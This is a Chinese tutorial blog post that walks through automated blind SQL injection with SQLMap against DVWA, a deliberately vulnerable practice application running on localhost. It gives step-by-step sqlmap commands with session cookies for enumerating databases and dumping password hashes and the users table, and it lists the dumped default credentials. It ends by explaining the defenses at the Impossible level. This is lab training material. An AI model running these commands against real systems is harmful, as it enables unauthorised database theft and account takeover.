• (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析


    一、测试前分析

    前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析>
    通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程,本文则利用自动化的工具SQLMap对SQL Injection(Blind)进行漏洞检测和数据获取。

    手工 VS 自动化
    ①手工测试有助于理解整个注入漏洞的利用过程,可以加深技能印象
    ②自动化工具所检测的效率相对较高,而且覆盖的全面性更高,数据获取的广度和深度也可以得到更好的发挥

    利用SQLMap自动化工具的检测流程大致如下:
    1.判断是否存在注入点、注入类型
    2.获取DBMS中所有的数据库名称
    3.获取Web应用当前连接的数据库
    4.列出数据库中的所有用户
    5.获取Web应用当前所操作的用户
    6.列出可连接数据库的所有账户-对应的密码哈希
    7.列出指定数据库中的所有数据表
    8.列出指定数据表中的所有字段(列)
    9.导出指定数据表中的列字段进行保存
    10.根据导出的数据,验证数据有效性

    二、全等级SQL Injection(Blind)-漏洞利用解析

    利用SQLMap工具操作,本文暂不作太过详细的去拆分细节点,各个等级的服务端代码在此也不作重复展示。
    以下构造SQLMap所需的测试命令时,所需用到的工具还有:浏览器自带的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp拦截url/cookie等数据...
    因注入测试是在保持浏览器账户登录状态的前提下进行的,过程中需要保持登录不退出账户,操作命令中需要带上登录账户的cookie信息--cookie="xxx";若过程中有退出了账户,则需要重新登录账户,并重新获取cookie信息,以在SQLMap操作命令中及时更新cookie内容。

    【A】Level:Low

    1.判断是否存在注入点、注入的类型

    构造命令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

    执行结果:

     
     
    2.获取DBMS中所有的数据库名称

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs

    执行结果:

     
     
    3.获取Web应用当前连接的数据库

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db

    执行结果:

     
     
    4.列出数据库中的所有用户

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users

    执行结果:

     
     
    5.获取Web应用当前所操作的用户

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user

    执行结果:

     
     
    6.列出可连接数据库的所有账户-对应的密码哈希

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords

    执行结果:

     
     
    7.列出指定数据库中的所有数据表

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables

    执行结果:

     
     
    8.列出指定数据表中的所有字段(列)

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns

    执行结果:

     
     
    9.导出指定数据表中的列字段进行保存

    构造指令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump

    执行结果:

     
     
    10.根据导出的数据,验证数据有效性
    userpassword
    1337 charley
    admin password
    gordonb abc123
    pablo letmein
    smithy password

    从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

    登录界面:http://localhost:8001/dvwa/login.php
    用户密码:pablo---letmein

     
    登录成功

    【B】Level:Medium

    Low等级提交的数据是通过GET请求方式,直接在浏览器url中传递参数;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。
    此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写,同时需要更新cookie信息的取值,如下:

    构造命令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch

    执行结果:

     
     

    构造命令:
    python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs

    执行结果:

     
     
     
    基于时间的盲注,整个猜解过程中要花费稍微多一些时间

    ......
    获取数据库其他数据的过程,暂且不继续往下展示,和Low级别相似。确保SQLMap操作命令中的url、data分离,cookie信息更新为对应等级的cookie值,以及保持账户登录状态时进行操作即可。

    【C】Level:High

    1. High级别的查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。若需获取请求体中的Form Data数据,则需要在提交数据的窗口中查看网络请求数据or通过拦截工具获取
    2. High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-order="xxxurl"(设置二阶响应的结果显示页面的url),具体的操作命令可参看==>SQLMap工具使用选项的操作命令&功能

    构造命令:
    python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch

    执行结果:

     
     

    【D】Level:Impossible

    可以尝试构造SQLMap命令进行检测:
    python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch

    暂未发现注入漏洞

     
     

    Impossible级别的SQL Injection(Blind)

    1. impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
    2. 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
    3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
    4. Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
     

    作者:Fighting_001
    链接:https://www.jianshu.com/p/ec2ca79e74b2
    来源:简书
    著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

  • 相关阅读:
    构建之法阅读笔记04
    构建之法阅读笔记03
    关于博客园的一些建议
    书的价钱
    找水王续
    《用户故事与敏捷开发》阅读笔记04
    每周学习进度——第六周
    每周学习进度——第五周
    《用户故事与敏捷开发》阅读笔记03
    软件需求与分析课堂讨论一
  • 原文地址:https://www.cnblogs.com/uestc2007/p/11771866.html
Copyright © 2020-2023  润新知